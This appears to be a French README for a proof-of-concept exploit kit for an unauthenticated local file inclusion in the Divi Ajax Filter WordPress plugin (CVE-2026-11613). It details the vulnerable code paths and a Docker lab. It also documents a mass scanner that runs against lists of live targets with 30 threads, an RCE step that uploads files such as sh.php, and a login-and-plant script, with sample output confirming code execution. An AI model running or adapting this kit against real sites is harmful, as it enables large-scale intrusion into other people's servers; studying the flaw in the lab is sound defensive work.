
Divi Ajax Filter <= 5.1.2 Inclusion locale de fichier non authentifiée via 'custom_loop_template'
| Plugin | Divi Ajax Filter (Divi Engine, premium — pas sur le SVN de wordpress.org) |
| Affecté | toutes les versions <= 5.1.2 (le lab utilise 3.1.8.4 depuis un miroir) |
| Corrigé | 5.1.3 (11/08/2026) |
| Type | CWE-98 — Inclusion locale de fichier PHP, non authentifié |
| CVSS | 9.8 Critique (AV:N/AC:L/PR:N/UI:N) |
| Avis | Wordfence (découvreur : h0xilo), publié le 04/09/2026 |
| Code source | miroir public : github.com/albertoformi/fr9z3i4pwxt3qx (site WP + plugin dans includes/modules/divi-ajax-filter/) |
includes/modules/FilterPosts/FilterPosts.php:1759 crée
wp_create_nonce('filter_object') et l'attache via wp_localize_script
(filter_ajax_object.security) au script mis en file pour TOUS les visiteurs
(wp_enqueue_scripts). Le nonce n'est pas une barrière : chaque visiteur en possède une copie.filter_ajax.php:3406-3407 et loadmore_ajax.php:569-570
enregistrent des gestionnaires avec wp_ajax_nopriv_* (sans connexion).filter_ajax.php:114-133 (loadmore : 73-91) :
$loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), puis
$custom_loop_template = $loop_var['custom_loop_template'] verbatim —
sans basename(), sans liste blanche, sans vérification realpath.filter_ajax.php:2871-2873 (loadmore : 344-346) :
if ($loop_templates == 'custom-template') {
if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
Condition : la requête doit entrer dans la branche non-WooCommerce ($posttype depuis le JSON
query est libre, pas de liste d'autorisation) et la requête doit retourner >= 1 post.<webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/
→ il faut ../../../../../ (5×) pour revenir à la racine web. NOTE IMPORTANTE :
file_exists()/include() échouent silencieusement si un composant du préfixe de chemin n'existe pas —
le répertoire divi-ajax-filter/loop-templates/ dans le thème doit exister (c'est
la structure custom-template documentée du plugin, donc généralement présente sur les sites
utilisant cette fonctionnalité ; sans ce répertoire, la traversée est effectivement bloquée).cve-2026-11613/
├── poc_http.py # PoC + scanner massif en direct (fichier unique)
├── divi-ajax-filter-3.1.8.4.zip # plugin prêt à installer (upload via WP admin / Extensions > Ajouter)
├── README.md
├── mirror-site/ # clone github albertoformi/fr9z3i4pwxt3qx
│ └── includes/modules/divi-ajax-filter/ # plugin v3.1.8.4 (affecté)
└── lab/
├── docker-compose.yml # WP 6.5 + MariaDB, port 8099
├── setup.sh # copie du plugin + compose up
├── install_wp.sh # installation WP + vérification
└── wp-content/
├── mu-plugins/
│ ├── zz-divi-shim.php # shim DiviExtension/ET_Builder_* (lab uniquement)
│ └── zz-activate-daf.php # auto-activation du plugin
├── plugins/divi-ajax-filter/ # plugin vulnérable (monté dans le conteneur)
└── uploads/poc-rce.php # payload "upload" simulé (exit à la fin)
bash lab/setup.sh # copie du plugin + docker compose up (port 8099)
bash lab/install_wp.sh # installation WP (admin / LabPass!2026)
# ajouter la structure de thème requise pour la traversée :
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# créer 2 posts d'exemple (une seule fois) :
docker run --rm --volumes-from lab-wp-1 --network lab_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
-e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish
python poc_http.py target.com # auto http://
python poc_http.py https://target.com domain2.com # plusieurs cibles
python poc_http.py --list targets.txt --threads 30 # scan massif 5000+
python poc_http.py --list targets.txt --fast # balayage léger 2 req/cible
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED # étape RCE
http:// ; déduplication automatique ; les résultats sont
écrits immédiatement de manière incrémentale dans results_cve-2026-11613.csv (Ctrl-C sûr, résultats partiels conservés).VULN: LFI / VULN: LFI+RCE (vert), not-confirmed (jaune),
NO-NONCE / NO-PLUGIN (cyan), UNREACHABLE / ERROR (rouge).--no-color / env NO_COLOR pour une sortie brute ; les couleurs se désactivent automatiquement en cas de pipe.python wayang.py <site> <wp-user> <wp-pass>
Une seule commande : connexion → dépôt canary WayangXploit (petit plugin non actif,
PoC uniquement : affiche marker+uid+uname puis exit, pas de webshell, sans paramètre
cmd) → vérification → balayage LFI non authentifié → verdict RCE. Auto : mise à niveau https,
contournement SSL, POST préservant les redirections. Nettoyage : suppression du plugin
"WayangXploit Canary" + "Divi Compat Shim" dans wp-admin après le test.
poc_http.py utilise désormais par défaut --upload-marker WayangXploit-RCE-CONFIRMED
(donc --upload-rel / --upload-name seul suffit).
[+] LFI: action=divi_filter_ajax_handler profondeur=5 : xmlrpc.php inclus EXÉCUTÉ (marqueur 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler profondeur=5 : wp-content/uploads/poc-rce.php inclus EXÉCUTÉ
VERDICT: VULNÉRABLE - RCE confirmé
preuve : CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2
Conditions d'exploitabilité sur une cible en direct (vérifiées par live_scan.py) :
filter_object est exposé sur une page publique (script du module mis en file).<theme>/divi-ajax-filter/loop-templates/ existe (la traversée préfixée en a besoin).